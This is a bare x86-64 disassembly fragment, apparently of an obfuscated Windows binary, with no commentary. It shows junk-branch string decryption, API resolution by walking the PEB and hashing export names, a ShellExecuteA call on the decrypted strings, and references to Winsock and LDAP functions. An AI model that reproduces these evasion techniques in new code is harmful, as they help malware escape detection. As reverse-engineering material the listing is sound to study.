movabs rcx, 0x3be19b0e1565bb6e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 2
jmp 0x14010eb2d
movabs rcx, 0x6a409ed82054bbe6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4a
jmp 0x14010eaa5
movabs rdx, 0x989fa2a22b43bc5e
mov ecx, gethostname
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14010eb3c
movabs rcx, 0xde2e28513baa3d12
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7e
jmp 0x14010ea56
movabs rcx, 0xf55daa364121bd4e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x22
jmp 0x14010ea2e
movabs rcx, 0x23bcae004c10bdc6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6a
movabs rdx, 0x55f15e6d6675b3ee
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x1e0], cl
add r10, r15
jmp 0x14010ea7c
movabs rdx, 0x521bb1ca56ffbe3e
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
sub r9, r15
jmp 0x14010eb3c
mov r8, r11
movabs rdx, 0xaed9b95e6cddbf2e
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov bl, r11b
sub bl, al
sub bl, 0x42
add bl, dl
movabs rdx, 0x27925aa35b86b376
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x3a
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x1e0], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0x1bfa99b0d8caf358
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x68
add r8b, cl
mov byte [rbp + r9 + 0x1e0], r8b
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14010eb2d
movabs rdx, 0xdd38bd2877ccbfa6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
movzx eax, byte [rbp + r9 + 0x1e0]
add rax, r10
add r9, rax
add r9, r15
jmp 0x14010e178
movabs rdx, 0xfa28c2021475306a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010e175
movabs rdx, 0x115843e719ecb0a6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010e165
lea rsi, [rbp + 0x15aedb8]
jmp 0x14010eba9
lea rsi, [rbp + 0xdf2d9a]
jmp 0x14010eba9
lea rsi, [rbp + 0x1e0]
mov byte [rbp + 0x200], 0xbf
mov byte [rbp + 0x201], 0xbd
mov byte [rbp + 0x202], Ordinal_200
mov byte [rbp + 0x203], 0xb9
mov byte [rbp + 0x204], Ordinal_46
xor eax, eax
mov qword [rbp + 0x205], rax
mov dword [rbp + 0x20d], eax
mov word [rbp + 0x211], ax
mov byte [rbp + 0x213], al
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x14
jae 0x14010f544
movzx r8d, byte [rbp + r9 + 0x200]
mov r11, r8
cmp rbx, r9
ja 0x14010f53b
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14010ec4c
movabs r14, 0x86ae06fa5e07247a
lea rcx, [r9 + r14]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
sub dil, 0x56
jmp 0x14010ec83
je 0x14010f4b2
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14010f427
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14010f3ef
lea rax, [r10 + 7]
cmp rbx, rax
je 0x14010f39b
movabs r14, 0x86ae06fa5e07247a
cmp r10, r9
ja 0x14010f532
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14010ecb8
movabs rdx, 0xc469289b695fe02
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xe
jmp 0x14010edf2
je 0x14010f387
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14010f366
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14010f342
lea rax, [r10 + 7]
cmp rbx, rax
je 0x14010f31e
lea rax, [rbx + r10]
cmp rax, r9
jbe 0x14010ef90
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14010ef69
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x14010ef42
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x14010ef1e
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x14010eefd
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14010eee9
lea rbx, [r10 + 9]
lea r10, [rbx + 1]
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x14010f50e
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x14010f4e7
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x14010ee20
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x14010edfa
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x14010edd3
lea rbx, [r10 + 0x10]
lea r10, [rbx + 3]
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x14010eec5
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x14010ee9e
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x14010ee7b
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x14010ee57
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x14010ee43
lea rbx, [r10 + 0x28]
lea r10, [rbx + 5]
jmp 0x14010ecf2
movabs rdx, 0x207dc9f10de0ce3e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14010ece5
movabs rdx, 0x1321bbfc51d2854a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 6
add dil, dl
jmp 0x14010ec83
movabs rcx, 0x5c5ae0795c43c56
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5a
jmp 0x14010ec13
movabs rdx, 0x2cc45c7ac476cc40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14010f0d2
movabs rcx, 0x1f684e860868834c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x14
jmp 0x14010f414
movabs rdx, 0x120c40914c5a3a58
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x68
jmp 0x14010f448
movabs rdx, 0x4b0329c904bf164
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010f47f
movabs rcx, 0xf75424a7d43da870
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x14010f4d0
movabs rdx, 0x14373767574ad03c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x14010f3fe
movabs rdx, 0x6db29729b3c8748
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14010f2c3
movabs rcx, 0xf97f1b7ddf2e3e54
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x4c
jmp 0x14010f3e7
movabs rdx, 0xec230d89231ff560
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010f3e4
movabs rdx, 0xdec6ff946711ac6c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010f3bc
lea rax, [r10 + 0x10]
cmp rbx, rax
jae 0x14010f05e
lea rcx, [r9 + r14]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x56
lea rax, [rbx + r10]
cmp rax, 0x200
je 0x14010f2f5
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x14010f147
movabs rdx, 0x1777a9a867b3b112
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7e
add dil, dl
cmp rbx, 0x400
jae 0x14010f29f
lea rax, [r10 + 0x28]
cmp rbx, rax
jbe 0x14010f1d7
movabs rdx, 0x23be3c321e49af14
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 0x61
jb 0x14010f292
movabs rdx, 0xa956c7c176d8889c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14010f3bc
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010f08a
movabs rcx, 0x188d25136d2bfc04
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x14010f4d0
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010f0ba
movabs rdx, 0x25e93308293a44f8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14010f47f
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14010f0ea
movabs rdx, 0x4dfd5ce65d651fd4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14010f411
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14010f116
movabs rdx, 0x5b596adb197368c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x78
jmp 0x14010f2c6
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14010efb2
movabs rcx, 0x68b578cfd581b1bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x24
jmp 0x14010f3e7
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010f173
movabs rdx, 0x24d3b79d23c1fa06
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2a
jmp 0x14010f3b9
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010f1a3
movabs rdx, 0x3f8bd3869bde8bee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14010f3e7
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14010eff0
movabs rdx, 0x679ffd64d00966ca
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14010f414
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010f204
movabs rcx, 0x311a4a26da57f808
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x38
jmp 0x14010f4d0
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14010f231
movabs rdx, 0x4bd26610527489f0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14010f448
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14010f261
movabs rdx, 0x8e9eabd7febbf6b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14010f3e4
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010f02c
movabs rdx, 0x9bfab9ccbaca3fa8
mov ecx, 0x34
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14010f3b9
mov byte [rbp + r9 + 0x200], dil
jmp 0x14010f4df
movabs rdx, 0xb6b2d5b632e6d190
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r9 + 0x200]
add dil, r8b
add dil, dl
movabs rcx, 0x3d60dcb090edf60a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x46
add cl, dil
add cl, r8b
mov byte [rbp + r9 + 0x200], cl
jmp 0x14010f411
movabs rdx, 0xc40ee3aaeef51a84
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x200]
jmp 0x14010f229
movabs rcx, 0x8483102453168e96
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x1a
jmp 0x14010f4d0
movabs rcx, 0x4f12d85162dd6ac6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6a
jmp 0x14010f411
movabs rcx, 0x345abc67eac0d8de
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x12
jmp 0x14010f3e7
movabs rdx, 0x19a2a07e72a446f6
mov ecx, reloc.WLDAP32.dll_Ordinal_35
jmp 0x14010f27d
movabs rdx, 0xfeea8494fa87b50e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x62
add dil, dl
movabs rdx, 0x3004cebbd4dfad16
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x200], cl
add r10, r15
sub r9, r15
jmp 0x14010f4df
movabs rdx, 0xc97a4cc20a4e913e
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14010f4df
mov r8, r11
movabs rdx, 0xaec230d89231ff56
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov dil, r11b
sub dil, al
sub dil, 0x5a
add dil, dl
movabs rdx, 0x4abceaa54cfc3efe
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 7
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x200], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xd16af19fab036378
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x48
add cl, r8b
mov byte [rbp + r9 + 0x200], cl
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14010f4d0
movabs rcx, 0x940a14ef1a156d6e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 2
movzx eax, byte [rbp + r9 + 0x200]
add rax, r10
add r9, rax
add r9, r15
jmp 0x14010ec00
movabs rdx, 0xf869a012d9b5f362
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14010ebfd
movabs rcx, 0xeb0d921e1da7aa6e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 2
jmp 0x14010ebed
lea rdx, [rbp + 0x14c83f8]
jmp 0x14010f54b
lea rdx, [rbp + 0x93a872]
jmp 0x14010f54b
lea rdx, [rbp + 0x200]
mov dword [rsp + 0x28], r15d
and qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [0x1404fc118]
test rdx, rdx
jne 0x14010f6c5
xor esi, esi
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14010f5dc
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14010f5cf
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010f5c0
cmp edx, esi
jne 0x14010f6a9
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010f6a9
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010f6a9
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14010f630
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010f625
cmp edx, r14d
je 0x14010f646
test r11d, r11d
jne 0x14010f610
jmp 0x14010f6a9
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14010f6be
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14010f6be
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14010f688
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14010f67a
jmp 0x14010f69d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14010f690
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14010f6bc
cmp qword [rbx + 0x30], 0
jne 0x14010f590
xor edx, edx
mov qword [0x1404fc118], rdx
mov ebx, 0x99
mov ecx, ebx
call rdx
mov qword [0], rbx
lea rcx, [rbp + 0x1060]
call fcn.14008b580
nop
mov rcx, r12
call fcn.14007b1e0
mov byte [rbp + 0x6b0], Ordinal_46
mov byte [rbp + 0x6b1], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x6b2], 0
mov byte [rbp + 0x6b3], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x6b4], 0xf5
mov byte [rbp + 0x6b5], 0xf3
mov byte [rbp + 0x6b6], recv
mov byte [rbp + 0x6b7], 0xfe
mov byte [rbp + 0x6b8], 0xf7
mov byte [rbp + 0x6b9], 0xf0
mov r15d, 8
mov byte [rbp + 0x6ba], r15b
mov byte [rbp + 0x6bb], 0
mov byte [rbp + 0x6bc], 0xf8
mov byte [rbp + 0x6bd], Ordinal_60
mov byte [rbp + 0x6be], reloc.WS2_32.dll_send
mov byte [rbp + 0x6bf], 0xea
mov byte [rbp + 0x6c0], 0xf2
mov byte [rbp + 0x6c1], recv
mov byte [rbp + 0x6c2], 3
lea r14d, [r15 - 7]
mov byte [rbp + 0x6c3], r14b
mov byte [rbp + 0x6c4], 0xfa
mov byte [rbp + 0x6c5], r14b
mov byte [rbp + 0x6c6], 0xca
mov byte [rbp + 0x6c7], Ordinal_200
mov byte [rbp + 0x6c8], 0xcc
mov byte [rbp + 0x6c9], 0xf6
mov byte [rbp + 0x6ca], 4
mov byte [rbp + 0x6cb], 0xf0
mov byte [rbp + 0x6cc], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x6cd], 0xa
mov byte [rbp + 0x6ce], 3
mov byte [rbp + 0x6cf], reloc.WS2_32.dll_recv
mov byte [rbp + 0x6d0], 0x86
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x6d1], xmm0
mov qword [rbp + 0x6e1], rax
mov byte [rbp + 0x6e9], al
movabs rsi, 0x870743d7c8a5f3f1
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x3a
jae 0x140110296
movzx r8d, byte [rbp + r9 + 0x6b0]
mov rdx, r8
cmp rbx, r9
ja 0x14011028d
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14010f859
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x69
jmp 0x14010f893
je 0x140110209
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14011017f
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140110150
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140110129
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1401100dd
cmp r10, r9
ja 0x140110284
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14010f8c8
movabs rdx, 0x139890b3759d02c5
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x63
jmp 0x14010fa5a
je 0x1401100bd
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140110099
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140110049
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140110029
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140110006
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x14010fc7c
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x14010fc58
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14010fc34
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14010fc10
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x14010fbed
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x14010fbc6
lea rbx, [r10 + 0x41]
lea r10, [rbx + 5]
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x140110260
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x14011023c
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x14010fa88
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x14010fa62
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x14010fa3c
lea rax, [r10 + 2]
cmp rbx, rax
jb 0x14010fb9a
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x14010f90f
lea rbx, [r10 + 5]
lea r10, [rbx + 0x28]
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x14010fb86
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x14010fb62
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x14010fb3f
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x14010fb1b
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x14010faf7
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x14010fad0
lea rax, [r10 + 0xa]
cmp rbx, rax
ja 0x14010faad
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x14010f90f
lea rbx, [r10 + 0x28]
lea r10, [rbx + 0x400]
jmp 0x14010f90f
movabs rdx, 0x50f1d629f21b73db
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 3
add dil, dl
jmp 0x14010f902
movabs rdx, 0x42e34e7a60cf8bf9
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x31
add dil, dl
jmp 0x14010f893
movabs rdx, 0x34d4c6cacf83a417
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dl, 0x5f
add dil, dl
jmp 0x14010f82a
movabs rdx, 0x9cc4859bace81628
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x1401100fb
movabs rdx, 0x8eb5fdec1b9c2e46
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140110124
movabs rcx, 0x648a66dd67b876a0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x60
jmp 0x140110091
movabs rcx, 0x567bdf2dd66c8ebe
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x32
jmp 0x14011016c
movabs rdx, 0x486d577e4520a6dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
jmp 0x14010fffe
movabs rdx, 0x3a5ecfceb3d4befa
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14010fedb
movabs rdx, 0x2c50481f2288d718
mov ecx, Ordinal_46
jmp 0x14010fd62
movabs rcx, 0x892bf4e8374b1363
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x4b
mov byte [rbp + r9 + 0x6b0], dil
jmp 0x140110234
movabs rdx, 0x3d5945767c7e7116
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140110091
movabs rdx, 0x2f4abdc6eb328934
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x6c
jmp 0x140110067
movabs rcx, 0x213c361759e6a152
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x3e
jmp 0x140110148
movabs rcx, 0x132dae67c89ab970
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x140110124
movabs rdx, 0x51f26b8374ed18e
mov ecx, reloc.WS2_32.dll_ntohs
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1401100fb
lea rax, [r10 + 0x10]
cmp rbx, rax
jae 0x14010fd4a
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x69
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 0x28
je 0x14010ffd7
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x14010fe2f
movabs rdx, 0x2cbb2a6acf8b206d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 5
add dil, dl
cmp rbx, 0x400
jae 0x14010ffac
lea rax, [r10 + 0x200]
cmp rbx, rax
jbe 0x14010ff14
movabs rdx, 0x4053bb1e45282332
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5e
add dil, dl
cmp r10, r14
jb 0x14010fbb9
movabs rcx, 0xcce507f9f21f3206
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea edi, [rcx*2 - 0x54]
jmp 0x1401100fe
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010fd7a
movabs rdx, 0x27312166eb3a058a
mov ecx, Ordinal_32
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140110225
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010fda6
movabs rcx, 0x434e30c60dd1d54e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x22
jmp 0x1401101a0
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14010fdd3
movabs rcx, 0x5f6b40253069a512
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7e
jmp 0x140110091
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14010fdff
movabs rcx, 0x8996d733e44d5cb8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r15b
jmp 0x140110124
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x14010fca1
movabs rdx, 0x97a55ee37599449a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x36
jmp 0x1401100fb
